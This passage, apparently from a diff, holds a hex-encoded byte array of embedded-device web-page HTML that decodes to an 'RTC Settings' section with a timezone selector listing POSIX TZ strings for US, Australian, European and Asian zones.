0x68, 0x20, 0x2F, 0x20, 0x52, 0x54, 0x43, 0x20, + 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x3C, 0x2F, 0x68, 0x32, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, + 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, + 0x3D, 0x22, 0x74, 0x69, 0x6D, 0x65, 0x7A, 0x6F, 0x6E, 0x65, 0x5F, 0x73, + 0x65, 0x6C, 0x65, 0x63, 0x74, 0x22, 0x3E, 0x54, 0x69, 0x6D, 0x65, 0x7A, + 0x6F, 0x6E, 0x65, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, + 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, + 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, + 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, + 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x53, 0x65, 0x6C, + 0x65, 0x63, 0x74, 0x20, 0x79, 0x6F, 0x75, 0x72, 0x20, 0x74, 0x69, 0x6D, + 0x65, 0x7A, 0x6F, 0x6E, 0x65, 0x2E, 0x20, 0x54, 0x68, 0x69, 0x73, 0x20, + 0x77, 0x69, 0x6C, 0x6C, 0x20, 0x62, 0x65, 0x20, 0x75, 0x73, 0x65, 0x64, + 0x20, 0x74, 0x6F, 0x20, 0x61, 0x64, 0x6A, 0x75, 0x73, 0x74, 0x20, 0x74, + 0x68, 0x65, 0x20, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x20, 0x63, 0x6C, + 0x6F, 0x63, 0x6B, 0x2E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x20, 0x69, 0x64, 0x3D, 0x22, + 0x74, 0x69, 0x6D, 0x65, 0x7A, 0x6F, 0x6E, 0x65, 0x5F, 0x73, 0x65, 0x6C, + 0x65, 0x63, 0x74, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, + 0x3D, 0x22, 0x55, 0x54, 0x43, 0x30, 0x22, 0x3E, 0x55, 0x54, 0x43, 0x3C, + 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, + 0x20, 0x55, 0x6E, 0x69, 0x74, 0x65, 0x64, 0x20, 0x53, 0x74, 0x61, 0x74, + 0x65, 0x73, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x7A, 0x6F, 0x6E, 0x65, 0x73, + 0x20, 0x2D, 0x2D, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, + 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, + 0x22, 0x48, 0x53, 0x54, 0x31, 0x30, 0x22, 0x3E, 0x48, 0x61, 0x77, 0x61, + 0x69, 0x69, 0x2D, 0x41, 0x6C, 0x65, 0x75, 0x74, 0x69, 0x61, 0x6E, 0x20, + 0x53, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x72, 0x64, 0x20, 0x54, 0x69, 0x6D, + 0x65, 0x20, 0x28, 0x48, 0x53, 0x54, 0x29, 0x3C, 0x2F, 0x6F, 0x70, 0x74, + 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, + 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, + 0x22, 0x41, 0x4B, 0x53, 0x54, 0x39, 0x41, 0x4B, 0x44, 0x54, 0x2C, 0x4D, + 0x33, 0x2E, 0x32, 0x2E, 0x30, 0x2C, 0x4D, 0x31, 0x31, 0x2E, 0x31, 0x2E, + 0x30, 0x22, 0x3E, 0x41, 0x6C, 0x61, 0x73, 0x6B, 0x61, 0x20, 0x54, 0x69, + 0x6D, 0x65, 0x20, 0x28, 0x41, 0x4B, 0x53, 0x54, 0x2F, 0x41, 0x4B, 0x44, + 0x54, 0x29, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, + 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, 0x50, 0x53, 0x54, 0x38, + 0x50, 0x44, 0x54, 0x2C, 0x4D, 0x33, 0x2E, 0x32, 0x2E, 0x30, 0x2C, 0x4D, + 0x31, 0x31, 0x2E, 0x31, 0x2E, 0x30, 0x22, 0x3E, 0x50, 0x61, 0x63, 0x69, + 0x66, 0x69, 0x63, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x28, 0x50, 0x53, + 0x54, 0x2F, 0x50, 0x44, 0x54, 0x29, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, + 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, + 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, + 0x4D, 0x53, 0x54, 0x37, 0x4D, 0x44, 0x54, 0x2C, 0x4D, 0x33, 0x2E, 0x32, + 0x2E, 0x30, 0x2C, 0x4D, 0x31, 0x31, 0x2E, 0x31, 0x2E, 0x30, 0x22, 0x3E, + 0x4D, 0x6F, 0x75, 0x6E, 0x74, 0x61, 0x69, 0x6E, 0x20, 0x54, 0x69, 0x6D, + 0x65, 0x20, 0x28, 0x4D, 0x53, 0x54, 0x2F, 0x4D, 0x44, 0x54, 0x29, 0x3C, + 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, + 0x6C, 0x75, 0x65, 0x3D, 0x22, 0x43, 0x53, 0x54, 0x36, 0x43, 0x44, 0x54, + 0x2C, 0x4D, 0x33, 0x2E, 0x32, 0x2E, 0x30, 0x2C, 0x4D, 0x31, 0x31, 0x2E, + 0x31, 0x2E, 0x30, 0x22, 0x3E, 0x43, 0x65, 0x6E, 0x74, 0x72, 0x61, 0x6C, + 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x28, 0x43, 0x53, 0x54, 0x2F, 0x43, + 0x44, 0x54, 0x29, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, 0x74, 0x69, 0x6F, + 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, 0x45, 0x53, 0x54, + 0x35, 0x45, 0x44, 0x54, 0x2C, 0x4D, 0x33, 0x2E, 0x32, 0x2E, 0x30, 0x2C, + 0x4D, 0x31, 0x31, 0x2E, 0x31, 0x2E, 0x30, 0x22, 0x3E, 0x45, 0x61, 0x73, + 0x74, 0x65, 0x72, 0x6E, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x28, 0x45, + 0x53, 0x54, 0x2F, 0x45, 0x44, 0x54, 0x29, 0x3C, 0x2F, 0x6F, 0x70, 0x74, + 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, + 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, + 0x22, 0x41, 0x53, 0x54, 0x34, 0x22, 0x3E, 0x41, 0x74, 0x6C, 0x61, 0x6E, + 0x74, 0x69, 0x63, 0x20, 0x53, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x72, 0x64, + 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x28, 0x41, 0x53, 0x54, 0x29, 0x3C, + 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, + 0x20, 0x41, 0x75, 0x73, 0x74, 0x72, 0x61, 0x6C, 0x69, 0x61, 0x6E, 0x20, + 0x54, 0x69, 0x6D, 0x65, 0x7A, 0x6F, 0x6E, 0x65, 0x73, 0x20, 0x2D, 0x2D, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, 0x74, 0x69, + 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, 0x41, 0x57, + 0x53, 0x54, 0x2D, 0x38, 0x22, 0x3E, 0x41, 0x75, 0x73, 0x74, 0x72, 0x61, + 0x6C, 0x69, 0x61, 0x6E, 0x20, 0x57, 0x65, 0x73, 0x74, 0x65, 0x72, 0x6E, + 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x28, 0x41, 0x57, 0x53, 0x54, 0x29, + 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, + 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, 0x41, 0x43, 0x53, 0x54, 0x2D, 0x39, + 0x3A, 0x33, 0x30, 0x22, 0x3E, 0x41, 0x75, 0x73, 0x74, 0x72, 0x61, 0x6C, + 0x69, 0x61, 0x6E, 0x20, 0x43, 0x65, 0x6E, 0x74, 0x72, 0x61, 0x6C, 0x20, + 0x53, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x72, 0x64, 0x20, 0x54, 0x69, 0x6D, + 0x65, 0x20, 0x28, 0x41, 0x43, 0x53, 0x54, 0x29, 0x3C, 0x2F, 0x6F, 0x70, + 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, + 0x3D, 0x22, 0x41, 0x43, 0x44, 0x54, 0x2D, 0x31, 0x30, 0x3A, 0x33, 0x30, + 0x2C, 0x4D, 0x31, 0x30, 0x2E, 0x31, 0x2E, 0x30, 0x2C, 0x4D, 0x34, 0x2E, + 0x31, 0x2E, 0x30, 0x2F, 0x33, 0x22, 0x3E, 0x41, 0x75, 0x73, 0x74, 0x72, + 0x61, 0x6C, 0x69, 0x61, 0x6E, 0x20, 0x43, 0x65, 0x6E, 0x74, 0x72, 0x61, + 0x6C, 0x20, 0x44, 0x61, 0x79, 0x6C, 0x69, 0x67, 0x68, 0x74, 0x20, 0x54, + 0x69, 0x6D, 0x65, 0x20, 0x28, 0x41, 0x43, 0x53, 0x54, 0x2F, 0x41, 0x43, + 0x44, 0x54, 0x29, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, 0x74, 0x69, 0x6F, + 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, 0x41, 0x45, 0x53, + 0x54, 0x2D, 0x31, 0x30, 0x22, 0x3E, 0x41, 0x75, 0x73, 0x74, 0x72, 0x61, + 0x6C, 0x69, 0x61, 0x6E, 0x20, 0x45, 0x61, 0x73, 0x74, 0x65, 0x72, 0x6E, + 0x20, 0x53, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x72, 0x64, 0x20, 0x54, 0x69, + 0x6D, 0x65, 0x20, 0x28, 0x41, 0x45, 0x53, 0x54, 0x29, 0x3C, 0x2F, 0x6F, + 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, + 0x65, 0x3D, 0x22, 0x41, 0x45, 0x44, 0x54, 0x2D, 0x31, 0x31, 0x2C, 0x4D, + 0x31, 0x30, 0x2E, 0x31, 0x2E, 0x30, 0x2C, 0x4D, 0x34, 0x2E, 0x31, 0x2E, + 0x30, 0x2F, 0x33, 0x22, 0x3E, 0x41, 0x75, 0x73, 0x74, 0x72, 0x61, 0x6C, + 0x69, 0x61, 0x6E, 0x20, 0x45, 0x61, 0x73, 0x74, 0x65, 0x72, 0x6E, 0x20, + 0x44, 0x61, 0x79, 0x6C, 0x69, 0x67, 0x68, 0x74, 0x20, 0x54, 0x69, 0x6D, + 0x65, 0x20, 0x28, 0x41, 0x45, 0x53, 0x54, 0x2F, 0x41, 0x45, 0x44, 0x54, + 0x29, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, + 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, 0x4C, 0x48, 0x53, 0x54, 0x2D, + 0x31, 0x30, 0x3A, 0x33, 0x30, 0x22, 0x3E, 0x4C, 0x6F, 0x72, 0x64, 0x20, + 0x48, 0x6F, 0x77, 0x65, 0x20, 0x53, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x72, + 0x64, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x28, 0x4C, 0x48, 0x53, 0x54, + 0x29, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, + 0x2D, 0x2D, 0x20, 0x41, 0x64, 0x64, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x61, + 0x6C, 0x20, 0x45, 0x75, 0x72, 0x6F, 0x70, 0x65, 0x61, 0x6E, 0x20, 0x54, + 0x69, 0x6D, 0x65, 0x7A, 0x6F, 0x6E, 0x65, 0x73, 0x20, 0x2D, 0x2D, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, 0x74, 0x69, 0x6F, + 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, 0x57, 0x45, 0x54, + 0x30, 0x57, 0x45, 0x53, 0x54, 0x2C, 0x4D, 0x33, 0x2E, 0x35, 0x2E, 0x30, + 0x2F, 0x31, 0x2C, 0x4D, 0x31, 0x30, 0x2E, 0x35, 0x2E, 0x30, 0x22, 0x3E, + 0x57, 0x65, 0x73, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x45, 0x75, 0x72, 0x6F, + 0x70, 0x65, 0x61, 0x6E, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x28, 0x57, + 0x45, 0x54, 0x2F, 0x57, 0x45, 0x53, 0x54, 0x29, 0x3C, 0x2F, 0x6F, 0x70, + 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, + 0x3D, 0x22, 0x45, 0x45, 0x54, 0x2D, 0x32, 0x45, 0x45, 0x53, 0x54, 0x2C, + 0x4D, 0x33, 0x2E, 0x35, 0x2E, 0x30, 0x2F, 0x33, 0x2C, 0x4D, 0x31, 0x30, + 0x2E, 0x35, 0x2E, 0x30, 0x2F, 0x34, 0x22, 0x3E, 0x45, 0x61, 0x73, 0x74, + 0x65, 0x72, 0x6E, 0x20, 0x45, 0x75, 0x72, 0x6F, 0x70, 0x65, 0x61, 0x6E, + 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x28, 0x45, 0x45, 0x54, 0x2F, 0x45, + 0x45, 0x53, 0x54, 0x29, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x21, 0x2D, 0x2D, 0x20, 0x41, 0x64, 0x64, 0x69, 0x74, 0x69, + 0x6F, 0x6E, 0x61, 0x6C, 0x20, 0x41, 0x73, 0x69, 0x61, 0x6E, 0x20, 0x54, + 0x69, 0x6D, 0x65, 0x7A, 0x6F, 0x6E, 0x65, 0x73, 0x20, 0x2D, 0x2D, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, 0x74, 0x69, 0x6F, + 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, 0x50, 0x4B, 0x54, + 0x2D, 0x35, 0x22, 0x3E, 0x50, 0x61, 0x6B, 0x69, 0x73, 0x74, 0x61, 0x6E, + 0x20, 0x53, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x72, 0x64, 0x20, 0x54, 0x69, + 0x6D, 0x65, 0x20, 0x28, 0x50, 0x4B, 0x54, 0x29, 0x3C, 0x2F, 0x6F, 0x70, + 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, + 0x3D, 0x22, 0x4B, 0x53, 0x54, 0x2D, 0x39, 0x22, 0x3E, 0x4B, 0x6F, 0x72, + 0x65, 0x61, 0x20, 0x53, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x72, 0x64, 0x20, + 0x54, 0x69, 0x6D, 0x65, 0x20, 0x28, 0x4B, 0x53, 0x54, 0x29, 0x3C, 0x2F, + 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, + 0x75, 0x65, 0x3D, 0x22, 0x50, 0x48, 0x54, 0x2D, 0x38, 0x22, 0x3E, 0x50, + 0x68, 0x69, 0x6C, 0x69, 0x70, 0x70, 0x69, 0x6E, 0x65, 0x20, 0x54, 0x69, + 0x6D, 0x65, 0x20, 0x28, 0x50, 0x48, 0x54, 0x29, 0x3C, 0x2F, 0x6F, 0x70, + 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, + 0x3D, 0x22, 0x49, 0x43, 0x54, 0x2D, 0x37, 0x22, 0x3E, 0x49, 0x6E, 0x64, + 0x6F, 0x63, 0x68, 0x69, 0x6E, 0x61, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, + 0x28, 0x49, 0x43, 0x54, 0x29, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, + 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 